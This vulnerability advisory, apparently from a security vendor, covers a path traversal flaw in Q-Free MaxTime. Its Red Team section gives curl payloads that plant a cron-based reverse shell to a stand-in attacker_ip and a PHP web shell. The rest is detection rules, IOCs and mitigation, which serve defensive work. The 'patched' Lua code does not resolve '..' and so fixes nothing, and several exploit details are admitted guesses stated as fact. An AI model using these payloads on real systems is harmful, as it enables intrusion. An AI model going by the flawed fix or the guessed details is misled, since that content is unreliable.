CVE-2025-26356

Executive Summary

CVE-2025-26356 is a critical path traversal vulnerability (CWE-35) discovered in Q-Free MaxTime, a traffic management and parking enforcement system. The flaw resides in the setActive endpoint within the maxtime/api/database/database.lua Lua script. An authenticated remote attacker can exploit this vulnerability to overwrite sensitive files on the server by crafting malicious HTTP requests with path traversal sequences (e.g., ../). This can lead to arbitrary file write, potentially resulting in remote code execution (RCE) if critical system files (like cron jobs, SSH authorized keys, or web shells) are overwritten. The CVSS score of 7.2 (High) reflects the low attack complexity and high impact on integrity and availability, though exploitation requires authentication. No public exploit code or patch is currently available, making this a high-priority zero-day for organizations using Q-Free MaxTime.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
• Base Score: 7.2 (High)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs valid credentials (e.g., default or weak passwords).
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Potential to read sensitive files.
• Integrity (I): High (H) – Ability to overwrite critical files.
• Availability (A): None (N) – Direct DoS not indicated, but file corruption could lead to service disruption.

Threat Level: High. The combination of network exploitability, low complexity, and high integrity impact makes this a serious threat. The lack of a patch increases the risk of targeted attacks.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) in the setActive endpoint of the database.lua Lua script. The endpoint likely accepts a file path or filename parameter to set a database as "active." The application fails to sanitize user-supplied input, allowing an attacker to include ../ sequences to escape the intended database directory and write to arbitrary locations on the filesystem.

Attack Flow:

1. Authentication: The attacker first authenticates to the MaxTime web interface (e.g., using default credentials like admin:admin).
2. Crafting the Request: The attacker sends a POST request to /maxtime/api/database/database.lua?action=setActive with a parameter like file=../../../../etc/cron.d/malicious.
3. File Overwrite: The server writes attacker-controlled content (e.g., a cron job or web shell) to the specified path.
4. Escalation: The attacker can then trigger the overwritten file (e.g., wait for cron execution or access the web shell) to achieve remote code execution.

Root Cause: The setActive function likely uses a string concatenation or an unsafe file path resolution without validating that the final path is within the allowed directory.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common fixes.

Vulnerable Code (Lua):

-- Vulnerable: Direct concatenation without sanitization
function setActive(filepath)
    local full_path = "/var/lib/maxtime/databases/" .. filepath
    -- Write to full_path
end

Patched Code (Lua):

-- Patched: Resolve path and check prefix
function setActive(filepath)
    local base_path = "/var/lib/maxtime/databases/"
    local full_path = base_path .. filepath
    -- Resolve any '..' sequences
    local resolved = io.open(full_path, "r") and full_path or nil
    if resolved and resolved:sub(1, #base_path) == base_path then
        -- Safe to write
    else
        -- Reject
    end
end

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to a Q-Free MaxTime instance (version <= 2.11.0).
• Valid credentials (e.g., admin:admin).

Exploitation Steps:

1. Authenticate: Obtain a session cookie via login.
2. Craft Payload: Use curl to send a malicious request.
3. Overwrite File: Write a PHP web shell or cron job.

Example Request (Overwrite cron job):

curl -X POST "http://target/maxtime/api/database/database.lua?action=setActive" \
  -H "Cookie: session=valid_session_cookie" \
  -d "file=../../../../etc/cron.d/revshell&content=* * * * * root bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'"

Example Request (Write Web Shell):

curl -X POST "http://target/maxtime/api/database/database.lua?action=setActive" \
  -H "Cookie: session=valid_session_cookie" \
  -d "file=../../../../var/www/html/shell.php&content=<?php system(\$_GET['cmd']); ?>"

Post-Exploitation:

• Access the web shell: http://target/shell.php?cmd=id
• Or wait for cron execution to receive a reverse shell.

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /maxtime/api/database/database.lua with parameters containing ../ or ..\.
• Alert on file writes outside the expected database directory (/var/lib/maxtime/databases/).
• Use file integrity monitoring (FIM) on critical system files (e.g., /etc/cron.d/, /etc/passwd).

Mitigation:

• Immediate: Restrict access to the API endpoint to trusted IPs only.
• Workaround: Implement a WAF rule to block path traversal patterns in the file parameter.
• Long-term: Apply vendor patch when available; upgrade to a fixed version.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /maxtime/api/database/database.lua with action=setActive and file parameter containing ../.
  • Outbound connections from the MaxTime server to attacker IPs (e.g., reverse shell).
• File System IOCs:
  • Unexpected files in /var/lib/maxtime/databases/ or outside it.
  • Modified system files (e.g., /etc/cron.d/, /etc/passwd, /var/www/html/).
  • Presence of web shells (e.g., shell.php, cmd.aspx).
• Log IOCs:
  • Web server logs showing 400 or 500 errors on the vulnerable endpoint.
  • System logs showing cron job execution from unexpected sources.

Detection Engineering

YARA Rule

rule CVE_2025_26356_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting Q-Free MaxTime setActive endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26356"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $endpoint = "database.lua"
        $action = "setActive"
    condition:
        $endpoint and $action and (#traversal1 > 0 or #traversal2 > 0)
}

Sigma Rule

title: CVE-2025-26356 Path Traversal in Q-Free MaxTime
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in HTTP requests to the setActive endpoint.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'database.lua'
        cs-uri-query|contains: 'action=setActive'
        cs-uri-query|contains: 'file='
        cs-uri-query|contains: '../'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in rare cases (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-26356 Q-Free MaxTime Path Traversal Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/maxtime/api/database/database.lua"; http_uri;
    content:"action=setActive"; http_client_body;
    content:"file="; http_client_body;
    pcre:"/\.\.\//Pi";
    sid:10000001;
    rev:1;
    reference:cve,2025-26356;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate: If possible, isolate the MaxTime server from the internet and restrict access to trusted internal networks.
2. WAF Rules: Deploy a Web Application Firewall rule to block requests containing ../ or ..\\ in the file parameter of the vulnerable endpoint.
3. Credential Hardening: Change all default passwords and enforce strong authentication.

Long-Term Fix:

• Vendor Patch: Monitor Q-Free for an official patch. Apply as soon as available.
• Code Fix: If source code is accessible, implement proper input validation and path canonicalization (e.g., using realpath() and checking prefix).
• Upgrade: Upgrade to a version > 2.11.0 when a fix is released.

Workaround:

• Disable the setActive endpoint if not required, by modifying the web server configuration to block access to database.lua.

Valters IT